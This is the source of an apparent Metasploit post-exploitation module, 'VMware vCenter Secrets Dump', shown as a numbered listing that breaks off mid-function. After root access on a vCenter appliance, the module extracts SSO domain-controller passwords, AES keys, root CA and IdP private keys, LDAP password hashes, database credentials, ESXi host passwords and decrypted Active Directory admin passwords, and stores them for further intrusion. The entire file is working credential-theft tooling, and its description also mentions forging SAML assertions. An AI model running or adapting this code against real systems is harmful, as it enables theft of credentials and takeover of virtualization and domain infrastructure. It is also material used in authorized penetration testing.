Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'metasploit/framework/credential_collection'
7

8
class MetasploitModule < Msf::Post
9
  include Msf::Post::Common
10
  include Msf::Post::File
11
  include Msf::Auxiliary::Report
12
  include Msf::Post::Linux::Priv
13
  include Msf::Post::Vcenter::Vcenter
14
  include Msf::Post::Vcenter::Database
15

16
  def initialize(info = {})
17
    super(
18
      update_info(
19
        info,
20
        'Name' => 'VMware vCenter Secrets Dump',
21
        'Description' => %q{
22
          Grab secrets and keys from the vCenter server and add them to
23
          loot. This module is tested against the vCenter appliance only;
24
          it will not work on Windows vCenter instances. It is intended to
25
          be run after successfully acquiring root access on a vCenter
26
          appliance and is useful for penetrating further into the
27
          environment following a vCenter exploit that results in a root
28
          shell.
29

30
          Secrets include the dcAccountDN and dcAccountPassword for
31
          the vCenter machine which can be used for maniuplating the SSO
32
          domain via standard LDAP interface; good for plugging into the
33
          vmware_vcenter_vmdir_ldap module or for adding new SSO admin
34
          users. The MACHINE_SSL, VMCA_ROOT and SSO IdP certificates with
35
          associated private keys are also plundered and can be used to
36
          sign forged SAML assertions for the /ui admin interface.
37
        },
38
        'Author' => [
39
          'npm[at]cesium137.io', # original vcenter secrets dump
40
          'Erik Wynter', # @wyntererik, postgres additions
41
          'h00die' # tying it all together
42
        ],
43
        'Platform' => [ 'linux', 'unix' ],
44
        'DisclosureDate' => '2022-04-15',
45
        'SessionTypes' => [ 'meterpreter', 'shell' ],
46
        'License' => MSF_LICENSE,
47
        'Actions' => [
48
          [
49
            'Dump',
50
            {
51
              'Description' => 'Dump vCenter Secrets'
52
            }
53
          ]
54
        ],
55
        'DefaultAction' => 'Dump',
56
        'References' => [
57
          [ 'URL', 'https://github.com/shmilylty/vhost_password_decrypt' ],
58
          [ 'CVE', '2022-22948' ],
59
          [ 'URL', 'https://pentera.io/blog/information-disclosure-in-vmware-vcenter/' ],
60
          [ 'URL', 'https://github.com/ErikWynter/metasploit-framework/blob/vcenter_gather_postgresql/modules/post/multi/gather/vmware_vcenter_gather_postgresql.rb' ]
61
        ],
62
        'Notes' => {
63
          'Stability' => [ CRASH_SAFE ],
64
          'Reliability' => [ ],
65
          'SideEffects' => [ IOC_IN_LOGS ]
66
        }
67
      )
68
    )
69
    register_advanced_options([
70
      OptBool.new('DUMP_VMDIR', [ true, 'Extract SSO domain information', true ]),
71
      OptBool.new('DUMP_VMAFD', [ true, 'Extract vSphere certificates, private keys, and secrets', true ]),
72
      OptBool.new('DUMP_SPEC', [ true, 'If DUMP_VMAFD is enabled, attempt to extract VM Guest Customization secrets from PSQL', true ]),
73
      OptBool.new('DUMP_LIC', [ true, 'If DUMP_VMDIR is enabled, attempt to extract vSphere license keys', false ])
74
    ])
75
  end
76

77
  # this is only here because of the SSO portion, which will get moved to the vcenter lib once someone is able to provide output to test against.
78
  def ldapsearch_bin
79
    '/opt/likewise/bin/ldapsearch'
80
  end
81

82
  def psql_bin
83
    '/opt/vmware/vpostgres/current/bin/psql'
84
  end
85

86
  def vcenter_management
87
    vc_type_embedded || vc_type_management
88
  end
89

90
  def vcenter_infrastructure
91
    vc_type_embedded || vc_type_infrastructure
92
  end
93

94
  def check_cve_2022_22948
95
    # https://github.com/PenteraIO/CVE-2022-22948/blob/main/CVE-2022-22948-scanner.sh#L5
96
    cmd_exec('stat -c "%G" "/etc/vmware-vpx/vcdb.properties"') == 'cis'
97
  end
98

99
  def run
100
    get_vcsa_version
101

102
    if check_cve_2022_22948
103
      print_good('Vulnerable to CVE-2022-22948')
104
      report_vuln(
105
        host: rhost,
106
        port: rport,
107
        name: name,
108
        refs: ['CVE-2022-22948'],
109
        info: "Module #{fullname} found /etc/vmware-vpx/vcdb.properties owned by cis group"
110
      )
111
    end
112

113
    print_status('Validating target')
114
    validate_target
115

116
    print_status('Gathering vSphere SSO domain information')
117
    vmdir_init
118

119
    print_status('Extracting PostgreSQL database credentials')
120
    get_db_creds
121

122
    print_status('Extract ESXi host vpxuser credentials')
123
    enum_vpx_user_creds
124

125
    if datastore['DUMP_VMDIR'] && vcenter_infrastructure
126
      print_status('Extracting vSphere SSO domain secrets')
127
      vmdir_dump
128
    end
129

130
    if datastore['DUMP_VMAFD']
131
      print_status('Extracting certificates from vSphere platform')
132
      vmafd_dump
133
      if datastore['DUMP_SPEC'] && vcenter_management
134
        print_status('Searching for secrets in VM Guest Customization Specification XML')
135
        enum_vm_cust_spec
136
      end
137
    end
138

139
    if is_root?
140
      print_status('Retrieving .pgpass file')
141
      retrieved_pg_creds = false
142
      pgpass_contents = process_pgpass_file
143

144
      pgpass_contents.each do |p|
145
        extra_service_data = {
146
          address: p['hostname'] =~ /localhost|127.0.0.1/ ? Rex::Socket.getaddress(rhost) : p['hostname'],
147
          port: p['port'],
148
          service_name: 'psql',
149
          protocol: 'tcp',
150
          workspace_id: myworkspace_id,
151
          module_fullname: fullname,
152
          origin_type: :service
153
        }
154
        print_good(".pgpass creds found: #{p['username']}, #{p['password']} for #{p['hostname']}:#{p['database']}")
155
        store_valid_credential(user: p['username'], private: p['password'], service_data: extra_service_data, private_type: :password)
156
        next if p['database'] != 'postgres'
157

158
        next unless retrieved_pg_creds == false
159

160
        creds = query_pg_shadow_values(p['password'], p['username'], p['database'])
161
        retrieved_pg_creds = true unless creds.nil?
162
        creds.each do |cred|
163
          print_good("posgres database creds found: #{cred['user']}, #{cred['password_hash']}")
164
          credential_data = {
165
            username: cred['user'],
166
            private_data: cred['password_hash'],
167
            private_type: :nonreplayable_hash,
168
            jtr_format: Metasploit::Framework::Hashes.identify_hash(cred['password_hash'])
169
          }.merge(extra_service_data)
170

171
          login_data = {
172
            core: create_credential(credential_data),
173
            status: Metasploit::Model::Login::Status::UNTRIED
174
          }.merge(extra_service_data)
175

176
          create_credential_login(login_data)
177
        end
178
      end
179
      path = store_loot('.pgpass', 'text/plain', session, pgpass_contents, 'pgpass.json')
180
      print_good("Saving the /root/.pgpass contents to #{path}")
181
    end
182
  end
183

184
  def vmdir_init
185
    self.keystore = {}
186

187
    vsphere_machine_id = get_machine_id
188
    if is_uuid?(vsphere_machine_id)
189
      vprint_status("vSphere Machine ID: #{vsphere_machine_id}")
190
    else
191
      print_bad('Invalid vSphere PSC Machine UUID returned from vmafd-cli')
192
    end
193

194
    vsphere_domain_name = get_domain_name
195
    unless is_fqdn?(vsphere_domain_name)
196
      fail_with(Msf::Exploit::Failure::Unknown, 'Could not determine vSphere SSO domain name via lwregshell')
197
    end
198

199
    self.base_fqdn = vsphere_domain_name.to_s.downcase
200
    vprint_status("vSphere SSO Domain FQDN: #{base_fqdn}")
201

202
    vsphere_domain_dn = 'dc=' + base_fqdn.split('.').join(',dc=')
203
    self.base_dn = vsphere_domain_dn
204
    vprint_status("vSphere SSO Domain DN: #{base_dn}")
205

206
    vprint_status('Extracting dcAccountDN and dcAccountPassword via lwregshell on local vCenter')
207
    vsphere_domain_dc_dn = get_domain_dc_dn
208
    unless is_dn?(vsphere_domain_dc_dn)
209
      fail_with(Msf::Exploit::Failure::Unknown, 'Could not determine vmdir dcAccountDN from lwregshell')
210
    end
211

212
    self.bind_dn = vsphere_domain_dc_dn
213
    print_good("vSphere SSO DC DN: #{bind_dn}")
214
    self.bind_pw = get_domain_dc_password
215
    unless bind_pw
216
      fail_with(Msf::Exploit::Failure::Unknown, 'Could not determine vmdir dcAccountPassword from lwregshell')
217
    end
218

219
    print_good("vSphere SSO DC PW: #{bind_pw}")
220
    # clean up double quotes
221
    # originally we wrapped in singles, but escaping of single quotes was not working, so prefer doubles
222
    self.bind_pw = bind_pw.gsub('"') { '\\"' }
223
    self.shell_bind_pw = "\"#{bind_pw}\""
224

225
    extra_service_data = {
226
      address: Rex::Socket.getaddress(rhost),
227
      port: 389,
228
      service_name: 'ldap',
229
      protocol: 'tcp',
230
      workspace_id: myworkspace_id,
231
      module_fullname: fullname,
232
      origin_type: :service,
233
      realm_key: Metasploit::Model::Realm::Key::WILDCARD,
234
      realm_value: base_fqdn
235
    }
236

237
    store_valid_credential(user: bind_dn, private: bind_pw, service_data: extra_service_data)
238

239
    get_aes_keys_from_host
240
  end
241

242
  def vmdir_dump
243
    print_status('Dumping vmdir schema to LDIF and storing to loot...')
244
    vmdir_ldif = get_ldif_contents(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)
245
    if vmdir_ldif.nil?
246
      print_error('Error processing LDIF file')
247
      return
248
    end
249

250
    p = store_loot('vmdir', 'LDIF', rhost, vmdir_ldif, 'vmdir.ldif', 'vCenter vmdir LDIF dump')
251
    print_good("LDIF Dump: #{p}")
252

253
    print_status('Processing vmdir LDIF (this may take several minutes)')
254
    ldif_file = ::File.open(p, 'rb')
255
    ldif_data = Net::LDAP::Dataset.read_ldif(ldif_file)
256

257
    print_status('Processing LDIF entries')
258
    entries = ldif_data.to_entries
259

260
    print_status('Processing SSO account hashes')
261
    vmware_sso_hash_entries = entries.select { |entry| entry[:userpassword].any? }
262
    process_hashes(vmware_sso_hash_entries)
263

264
    print_status('Processing SSO identity sources')
265
    vmware_sso_id_entries = entries.select { |entry| entry[:vmwSTSConnectionStrings].any? }
266
    process_sso_providers(vmware_sso_id_entries)
267

268
    if datastore['DUMP_LIC']
269
      print_status('Extract licenses from vCenter platform')
270
      vmware_license_entries = entries.select { |entry| entry[:vmwLicSvcLicenseSerialKeys].any? }
271
      get_vc_licenses(vmware_license_entries)
272
    end
273
  end
274

275
  def vmafd_dump
276
    if vcenter_infrastructure
277
      get_vmca_cert
278
      get_idp_creds
279
    end
280

281
    vecs_stores = get_vecs_stores
282
    return if vecs_stores.nil?
283

284
    if vecs_stores.empty?
285
      print_error('Empty vecs-cli store list returned from vCenter')
286
      return
287
    end
288

289
    vecs_stores.each do |vecs_store|
290
      vecs_entries = get_vecs_entries(vecs_store)
291
      vecs_entries.each do |vecs_entry|
292
        next unless vecs_entry['Entry type'] == 'Private Key'
293

294
        get_vecs_entry(vecs_store, vecs_entry)
295
      end
296
    end
297
  end
298

299
  def get_vecs_entry(store_name, vecs_entry)
300
    store_label = store_name.upcase
301

302
    vprint_status("Extract #{store_label} key")
303
    key = get_vecs_private_key(store_name, vecs_entry['Alias'])
304
    if key.nil?
305
      print_bad("Could not extract #{store_label} private key")
306
    else
307
      p = store_loot(vecs_entry['Alias'], 'PEM', rhost, key.to_pem.to_s, "#{store_label}.key", "vCenter #{store_label} Private Key")
308
      print_good("#{store_label} Key: #{p}")
309
    end
310

311
    vprint_status("Extract #{store_label} certificate")
312
    cert = validate_x509_cert(vecs_entry['Certificate'])
313
    if cert.nil?
314
      print_bad("Could not extract #{store_label} certificate")
315
      return
316
    end
317
    p = store_loot(vecs_entry['Alias'], 'PEM', rhost, cert.to_pem.to_s, "#{store_label}.pem", "vCenter #{store_label} Certificate")
318
    print_good("#{store_label} Cert: #{p}")
319

320
    unless key.nil?
321
      update_keystore(cert, key)
322
    end
323
  end
324

325
  def get_vmca_cert
326
    vprint_status('Extract VMCA_ROOT key')
327

328
    unless file_exist?('/var/lib/vmware/vmca/privatekey.pem') && file_exist?('/var/lib/vmware/vmca/root.cer')
329
      print_error('Could not locate VMCA_ROOT keypair')
330
      return
331
    end
332

333
    vmca_key_b64 = read_file('/var/lib/vmware/vmca/privatekey.pem')
334

335
    vmca_key = validate_pkey(vmca_key_b64)
336
    if vmca_key.nil?
337
      print_error('Could not extract VMCA_ROOT private key')
338
      return
339
    end
340

341
    p = store_loot('vmca', 'PEM', rhost, vmca_key, 'VMCA_ROOT.key', 'vCenter VMCA root CA private key')
342
    print_good("VMCA_ROOT key: #{p}")
343

344
    vprint_status('Extract VMCA_ROOT cert')
345
    vmca_cert_b64 = read_file('/var/lib/vmware/vmca/root.cer')
346

347
    vmca_cert = validate_x509_cert(vmca_cert_b64)
348
    if vmca_cert.nil?
349
      print_error('Could not extract VMCA_ROOT certificate')
350
      return
351
    end
352

353
    unless vmca_cert.check_private_key(vmca_key)
354
      print_error('VMCA_ROOT certificate and private key mismatch')
355
      return
356
    end
357

358
    p = store_loot('vmca', 'PEM', rhost, vmca_cert, 'VMCA_ROOT.pem', 'vCenter VMCA root CA certificate')
359
    print_good("VMCA_ROOT cert: #{p}")
360

361
    update_keystore(vmca_cert, vmca_key)
362
  end
363

364
  # Shamelessly borrowed from vmware_vcenter_vmdir_ldap.rb
365
  def process_hashes(entries)
366
    if entries.empty?
367
      print_warning('No password hashes found')
368
      return
369
    end
370

371
    service_details = {
372
      workspace_id: myworkspace_id,
373
      module_fullname: fullname,
374
      origin_type: :service,
375
      address: rhost,
376
      port: '389',
377
      protocol: 'tcp',
378
      service_name: 'vmdir/ldap'
379
    }
380

381
    entries.each do |entry|
382
      # This is the "username"
383
      dn = entry.dn
384

385
      # https://github.com/vmware/lightwave/blob/3bc154f823928fa0cf3605cc04d95a859a15c2a2/vmdir/server/middle-layer/password.c#L32-L76
386
      type, hash, salt = entry[:userpassword].first.unpack('CH128H32')
387

388
      case type
389
      when 1
390
        unless hash.length == 128
391
          vprint_error("Type #{type} hash length is not 128 digits (#{dn})")
392
          next
393
        end
394

395
        unless salt.length == 32
396
          vprint_error("Type #{type} salt length is not 32 digits (#{dn})")
397
          next
398
        end
399

400
        # https://github.com/magnumripper/JohnTheRipper/blob/2778d2e9df4aa852d0bc4bfbb7b7f3dde2935b0c/doc/DYNAMIC#L197
401
        john_hash = "$dynamic_82$#{hash}$HEX$#{salt}"
402
      else
403
        vprint_error("Hash type #{type.inspect} is not supported yet (#{dn})")
404
        next
405
      end
406

407
      print_good("vSphere SSO User Credential: #{dn}:#{john_hash}")
408

409
      create_credential(service_details.merge(
410
        username: dn,
411
        private_data: john_hash,
412
        private_type: :nonreplayable_hash,
413
        jtr_format: Metasploit::Framework::Hashes.identify_hash(john_hash)
414
      ))
415
    end
416
  end
417

418
  def process_sso_providers(entries)
419
    if entries.empty?
420
      print_warning('No SSO ID provider information found')
421
      return
422
    end
423

424
    if entries.is_a?(String)
425
      entries = entries.split("\n")
426
    end
427

428
    entries.each do |entry|
429
      sso_prov_type = entry[:vmwSTSProviderType].first
430
      sso_conn_str = entry[:vmwSTSConnectionStrings].first
431
      sso_user = entry[:vmwSTSUserName].first
432

433
      # On vCenter 7.x instances the tenant AES key was always Base64 encoded vs. plaintext, and vmwSTSPassword was missing from the LDIF dump.
434
      # It appears that vCenter 7.x does not return vmwSTSPassword even with appropriate LDAP flags - this is not like prior versions.
435
      # The data can still be extracted directly with ldapsearch syntax below which works in all versions, but is a PITA.
436
      vmdir_user_sso_pass = cmd_exec("#{ldapsearch_bin} -h #{vc_psc_fqdn} -LLL -p 389 -b \"cn=#{base_fqdn},cn=Tenants,cn=IdentityManager,cn=Services,#{base_dn}\" -D \"#{bind_dn}\" -w #{shell_bind_pw} \"(&(objectClass=vmwSTSIdentityStore)(vmwSTSConnectionStrings=#{sso_conn_str}))\" \"vmwSTSPassword\" | awk -F 'vmwSTSPassword: ' '{print $2}'").split("\n").last
437
      sso_pass = tenant_aes_decrypt(vmdir_user_sso_pass)
438

439
      sso_domain = entry[:vmwSTSDomainName].first
440

441
      sso_conn_uri = URI.parse(sso_conn_str)
442

443
      extra_service_data = {
444
        address: Rex::Socket.getaddress(rhost),
445
        port: sso_conn_uri.port,
446
        service_name: sso_conn_uri.scheme,
447
        protocol: 'tcp',
448
        workspace_id: myworkspace_id,
449
        module_fullname: fullname,
450
        origin_type: :service,
451
        realm_key: Metasploit::Model::Realm::Key::WILDCARD,
452
        realm_value: sso_domain
453
      }
454

455
      store_valid_credential(user: sso_user, private: sso_pass, service_data: extra_service_data)
456
      print_status('Found SSO Identity Source Credential:')
457
      print_good("#{sso_prov_type} @ #{sso_conn_str}:")
458
      print_good("\t  SSOUSER: #{sso_user}")
459
      print_good("\t  SSOPASS: #{sso_pass}")
460
      print_good("\tSSODOMAIN: #{sso_domain}")
461
    end
462
  end
463

464
  def get_aes_keys_from_host
465
    print_status('Extracting tenant and vpx AES encryption key...')
466

467
    tenant_key = get_aes_keys(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)
468
    fail_with(Msf::Exploit::Failure::Unknown, 'Error extracting tenant and vpx AES encryption key') if tenant_key.nil?
469

470
    tenant_key.each do |aes_key|
471
      aes_key_len = aes_key.length
472
      # our first case is to process it out
473
      case aes_key_len
474
      when 16
475
        self.vc_tenant_aes_key = aes_key
476
        self.vc_tenant_aes_key_hex = vc_tenant_aes_key.unpack('H*').first
477
        vprint_status("vCenter returned a plaintext AES key: #{aes_key}")
478
      when 24
479
        self.vc_tenant_aes_key = Base64.strict_decode64(aes_key)
480
        self.vc_tenant_aes_key_hex = Base64.strict_decode64(aes_key).unpack('H*').first
481
        vprint_status("vCenter returned a Base64 AES key: #{aes_key}")
482
      when 64
483
        self.vc_sym_key = aes_key.scan(/../).map(&:hex).pack('C*')
484
        self.vc_sym_key_raw = aes_key
485
        print_good('vSphere vmware-vpx AES encryption')
486
        print_good("\tHEX: #{aes_key}")
487
      else
488
        print_error("Invalid tenant AES encryption key size - expecting 16 raw bytes or 24 Base64 bytes, got #{aes_key_len}")
489
        next
490
      end
491

492
      extra_service_data = {
493
        address: Rex::Socket.getaddress(rhost),
494
        protocol: 'tcp',
495
        workspace_id: myworkspace_id,
496
        module_fullname: fullname,
497
        origin_type: :service,
498
        realm_key: Metasploit::Model::Realm::Key::WILDCARD,
499
        realm_value: base_fqdn
500
      }
501
      # our second case is to store it correctly
502
      case aes_key_len
503
      when 16, 24
504
        print_good('vSphere Tenant AES encryption')
505
        print_good("\tKEY: #{vc_tenant_aes_key}")
506
        print_good("\tHEX: #{vc_tenant_aes_key_hex}")
507

508
        store_valid_credential(user: 'STS AES key', private: vc_tenant_aes_key, service_data: extra_service_data.merge({
509
          port: 389,
510
          service_name: 'ldap'
511
        }))
512
      when 64
513
        store_valid_credential(user: 'VPX AES key', private: vc_sym_key_raw, service_data: extra_service_data.merge({
514
          port: 5432,
515
          service_name: 'psql'
516
        }))
517
      end
518
    end
519
  end
520

521
  def tenant_aes_decrypt(b64)
522
    # https://github.com/vmware/lightwave/blob/master/vmidentity/idm/server/src/main/java/com/vmware/identity/idm/server/CryptoAESE.java#L44-L45
523
    ciphertext = Base64.strict_decode64(b64)
524
    decipher = OpenSSL::Cipher.new('aes-128-ecb')
525
    decipher.decrypt
526
    decipher.padding = 0
527
    decipher.key = vc_tenant_aes_key
528
    return (decipher.update(ciphertext) + decipher.final).delete("\000")
529
  rescue StandardError => e
530
    elog('Error performing tenant_aes_decrypt', error: e)
531
    fail_with(Msf::Exploit::Failure::Unknown, 'Error performing tenant_aes_decrypt')
532
  end
533

534
  def update_keystore(public_key, private_key)
535
    if public_key.is_a? String
536
      cert = validate_x509_cert(public_key)
537
    else
538
      cert = public_key
539
    end
540
    if private_key.is_a? String
541
      key = validate_pkey(private_key)
542
    else
543
      key = private_key
544
    end
545
    cert_thumbprint = OpenSSL::Digest::SHA1.new(cert.to_der).to_s
546
    keystore[cert_thumbprint] = key
547
  rescue StandardError => e
548
    elog('Error updating module keystore', error: e)
549
    fail_with(Msf::Exploit::Failure::Unknown, 'Error updating module keystore')
550
  end
551

552
  def get_idp_creds
553
    vprint_status('Fetching objectclass=vmwSTSTenantCredential via vmdir LDAP')
554
    idp_keys = get_idp_keys(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)
555
    if idp_keys.nil?
556
      print_error('Error processing IdP trusted certificate private key')
557
      return
558
    end
559

560
    idp_certs = get_idp_certs(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)
561
    if idp_certs.nil?
562
      print_error('Error processing IdP trusted certificate chain')
563
      return
564
    end
565

566
    vprint_status('Parsing vmwSTSTenantCredential certificates and keys')
567

568
    # vCenter vmdir stores the STS IdP signing credential under the following DN:
569
    #    cn=TenantCredential-1,cn=<sso domain>,cn=Tenants,cn=IdentityManager,cn=Services,<root dn>
570

571
    sts_cert = nil
572
    sts_key = nil
573
    sts_pem = nil
574
    idp_keys.each do |stskey|
575
      idp_certs.each do |stscert|
576
        next unless stscert.check_private_key(stskey)
577

578
        sts_cert = stscert.to_pem.to_s
579
        sts_key = stskey.to_pem.to_s
580
        if validate_sts_cert(sts_cert)
581
          vprint_status('Validated vSphere SSO IdP certificate against vSphere IDM tenant certificate')
582
        else # Query IDM to compare our extracted cert with the IDM advertised cert
583
          print_warning('Could not reconcile vmdir STS IdP cert chain with cert chain advertised by IDM - this credential may not work')
584
        end
585
        sts_pem = "#{sts_key}#{sts_cert}"
586
      end
587
    end
588

589
    unless sts_pem # We were unable to link a public and private key together
590
      print_error('Unable to associate IdP certificate and private key')
591
      return
592
    end
593

594
    p = store_loot('idp', 'application/x-pem-file', rhost, sts_key, 'SSO_STS_IDP.key', 'vCenter SSO IdP private key')
595
    print_good("SSO_STS_IDP key: #{p}")
596

597
    p = store_loot('idp', 'application/x-pem-file', rhost, sts_cert, 'SSO_STS_IDP.pem', 'vCenter SSO IdP certificate')
598
    print_good("SSO_STS_IDP cert: #{p}")
599

600
    update_keystore(sts_cert, sts_key)
601
  end
602

603
  def get_vc_licenses(entries)
604
    if entries.empty?
605
      print_warning('No vSphere Licenses Found')
606
      return
607
    end
608

609
    if entries.is_a?(String)
610
      entries = entries.split("\n")
611
    end
612

613
    entries.each do |entry|
614
      vc_lic_name = entry[:vmwLicSvcLicenseName].first
615
      vc_lic_type = entry[:vmwLicSvcLicenseType].first
616
      vc_lic_key = entry[:vmwLicSvcLicenseSerialKeys].first
617
      vc_lic_label = "#{vc_lic_name} #{vc_lic_type}"
618

619
      extra_service_data = {
620
        address: Rex::Socket.getaddress(rhost),
621
        port: 443,
622
        service_name: 'https',
623
        protocol: 'tcp',
624
        workspace_id: myworkspace_id,
625
        module_fullname: fullname,
626
        origin_type: :service,
627
        realm_key: Metasploit::Model::Realm::Key::WILDCARD,
628
        realm_value: base_fqdn
629
      }
630

631
      store_valid_credential(user: vc_lic_label, private: vc_lic_key, service_data: extra_service_data)
632
      print_good("\t#{vc_lic_label}: #{vc_lic_key}")
633
    end
634
  end
635

636
  def enum_vm_cust_spec
637
    vpx_customization_specs = get_vpx_customization_spec(shell_vcdb_pass, vcdb_user, vcdb_name)
638

639
    if vpx_customization_specs.nil?
640
      print_warning('No vpx_customization_spec entries evident')
641
      return
642
    end
643

644
    vpx_customization_specs.each do |spec|
645
      xmldoc = vpx_customization_specs[spec]
646

647
      unless (enc_cert_len = xmldoc.at_xpath('/ConfigRoot/encryptionKey/_length').text.to_i)
648
        print_error("Could not determine DER byte length for vpx_customization_spec '#{spec}'")
649
        next
650
      end
651

652
      enc_cert_der = []
653
      der_idx = 0
654

655
      print_status('Validating data encipherment key')
656
      while der_idx <= enc_cert_len - 1
657
        enc_cert_der << xmldoc.at_xpath("/ConfigRoot/encryptionKey/e[@id=#{der_idx}]").text.to_i
658
        der_idx += 1
659
      end
660

661
      enc_cert = validate_x509_cert(enc_cert_der.pack('C*'))
662
      if enc_cert.nil?
663
        print_error("Invalid encryption certificate for vpx_customization_spec '#{spec}'")
664
        next
665
      end
666

667
      enc_cert_thumbprint = OpenSSL::Digest::SHA1.new(enc_cert.to_der).to_s
668
      vprint_status("Secrets for '#{spec}' were encrypted using public certificate with SHA1 digest #{enc_cert_thumbprint}")
669

670
      unless (enc_keystore_entry = keystore[enc_cert_thumbprint])
671
        print_warning('Could not associate encryption public key with any of the private keys extracted from vCenter, skipping')
672
        next
673
      end
674

675
      vc_cipher_key = validate_pkey(enc_keystore_entry)
676
      if vc_cipher_key.nil?
677
        print_error("Could not access private key for VM Guest Customization Template '#{spec}', cannot decrypt")
678
        next
679
      end
680

681
      unless enc_cert.check_private_key(vc_cipher_key)
682
        print_error("vCenter private key does not associate with public key for VM Guest Customization Template '#{spec}', cannot decrypt")
683
        next
684
      end
685

686
      key_digest = OpenSSL::Digest::SHA1.new(vc_cipher_key.to_der).to_s
687
      vprint_status("Decrypt using #{vc_cipher_key.n.num_bits}-bit #{vc_cipher_key.oid} SHA1: #{key_digest}")
688

689
      # Check for static local machine password
690
      if (sysprep_element_unattend = xmldoc.at_xpath('/ConfigRoot/identity/guiUnattended'))
691
        next unless sysprep_element_unattend.at_xpath('//guiUnattended/password/plainText')
692

693
        secret_is_plaintext = sysprep_element_unattend.xpath('//guiUnattended/password/plainText').text
694

695
        case secret_is_plaintext.downcase
696
        when 'true'
697
          secret_plaintext = sysprep_element_unattend.xpath('//guiUnattended/password/value').text
698
        when 'false'
699
          secret_ciphertext = sysprep_element_unattend.xpath('//guiUnattended/password/value').text
700
          ciphertext_bytes = Base64.strict_decode64(secret_ciphertext.to_s).reverse
701
          secret_plaintext = vc_cipher_key.decrypt(ciphertext_bytes, rsa_padding_mode: 'pkcs1').delete("\000")
702
        else
703
          print_error("Malformed XML received from vCenter for VM Guest Customization Template '#{spec}'")
704
          next
705
        end
706
        print_status("Initial administrator account password found for vpx_customization_spec '#{spec}':")
707
        print_good("\tInitial Admin PW: #{secret_plaintext}")
708

709
        extra_service_data = {
710
          address: Rex::Socket.getaddress(rhost),
711
          port: 445,
712
          protocol: 'tcp',
713
          service_name: 'Windows',
714
          workspace_id: myworkspace_id,
715
          module_fullname: fullname,
716
          origin_type: :service,
717
          realm_key: Metasploit::Model::Realm::Key::WILDCARD,
718
          realm_value: '.'
719
        }
720

721
        store_valid_credential(user: '(local built-in administrator)', private: secret_plaintext, service_data: extra_service_data)
722
      end
723

724
      # Check for account used for domain join
725
      next unless (domain_element_unattend = xmldoc.at_xpath('//identification'))
726
      next unless domain_element_unattend.at_xpath('//identification/domainAdminPassword/plainText')
727

728
      secret_is_plaintext = domain_element_unattend.xpath('//identification/domainAdminPassword/plainText').text
729
      domain_user = domain_element_unattend.xpath('//identification/domainAdmin').text
730
      domain_base = domain_element_unattend.xpath('//identification/joinDomain').text
731

732
      case secret_is_plaintext.downcase
733
      when 'true'
734
        secret_plaintext = sysprep_element_unattend.xpath('//identification/domainAdminPassword/value').text
735
      when 'false'
736
        secret_ciphertext = sysprep_element_unattend.xpath('//identification/domainAdminPassword/value').text
737
        ciphertext_bytes = Base64.strict_decode64(secret_ciphertext.to_s).reverse
738
        secret_plaintext = vc_cipher_key.decrypt(ciphertext_bytes, rsa_padding_mode: 'pkcs1').delete("\000")
739
      else
740
        print_error("Malformed XML received from vCenter for VM Guest Customization Template '#{spec}'")
741
        next
742
      end
743

744
      print_status("AD domain join account found for vpx_customization_spec '#{spec}':")
745

746
      case domain_base.include?('.')
747
      when true
748
        print_good("\tAD User: #{domain_user}@#{domain_base}")
749
      when false
750
        print_good("\tAD User: #{domain_base}\\#{domain_user}")
751
      end
752
      print_good("\tAD Pass: #{secret_plaintext}")
753

754
      extra_service_data = {
755
        address: Rex::Socket.getaddress(rhost),
756
        port: 445,
757
        protocol: 'tcp',
758
        service_name: 'Windows',
759
        workspace_id: myworkspace_id,
760
        module_fullname: fullname,
761
        origin_type: :service,
762
        realm_key: Metasploit::Model::Realm::Key::WILDCARD,
763
        realm_value: domain_base
764
      }
765

766
      store_valid_credential(user: domain_user, private: secret_plaintext, service_data: extra_service_data)
767
    end
768
  end
769

770
  def enum_vpx_user_creds
771
    vpxuser_rows = get_vpx_users(shell_vcdb_pass, vcdb_user, vcdb_name, vc_sym_key)
772

773
    if vpxuser_rows.nil?
774
      print_warning('No ESXi hosts attached to this vCenter system')
775
      return
776
    end
777

778
    vpxuser_rows.each do |user|
779
      print_good("ESXi Host #{user['fqdn']} [#{user['ip']}]\t LOGIN: #{user['user']} PASS: #{user['password']}")
780

781
      extra_service_data = {
782
        address: user['ip'],
783
        port: 22,
784
        protocol: 'tcp',
785
        service_name: 'ssh',
786
        workspace_id: myworkspace_id,
787
        module_fullname: fullname,
788
        origin_type: :service,
789
        realm_key: Metasploit::Model::Realm::Key::WILDCARD,
790
        realm_value: user['fqdn']
791
      }
792

793
      # XXX is this always root? store_valid_credential(user: 'root', private: user['password'], service_data: extra_service_data)
794
      store_valid_credential(user: user['user'], private: user['password'], service_data: extra_service_data)
795
    end
796
  end
797

798
  def get_db_creds
799
    db_properties = process_vcdb_properties_file
800

801
    self.vcdb_name = db_properties['name']
802
    self.vcdb_user = db_properties['username']
803
    self.vcdb_pass = db_properties['password']
804

805
    self.shell_vcdb_pass = "'#{vcdb_pass.gsub("'") { "\\'" }}'"
806

807
    print_good("\tVCDB Name: #{vcdb_name}")
808
    print_good("\tVCDB User: #{vcdb_user}")
809
    print_good("\tVCDB Pass: #{vcdb_pass}")
810

811
    extra_service_data = {
812
      address: Rex::Socket.getaddress(rhost),
813
      port: 5432,
814
      service_name: 'psql',
815
      protocol: 'tcp',
816
      workspace_id: myworkspace_id,
817
      module_fullname: fullname,
818
      origin_type: :service,
819
      realm_key: Metasploit::Model::Realm::Key::WILDCARD,
820
      realm_value: vcdb_name
821
    }
822

823
    store_valid_credential(user: vcdb_user, private: vcdb_pass, service_data: extra_service_data)
824
    print_status('Checking for VPX Users')
825
    creds = query_vpx_creds(vcdb_pass, vcdb_user, vcdb_name, vc_sym_key_raw)
826
    if creds.nil?
827
      print_bad('No VPXUSER entries were found')
828
      return
829
    end
830
    creds.each do |cred|
831
      extra_service_data = {
832
        address: cred['ip_address'],
833
        service_name: 'vpx',
834
        protocol: 'tcp',
835
        workspace_id: myworkspace_id,
836
        module_fullname: fullname,
837
        origin_type: :service,
838
        realm_key: Metasploit::Model::Realm::Key::WILDCARD,
839
        realm_value: vcdb_name
840
      }
841
      if cred.key? 'decrypted_password'
842
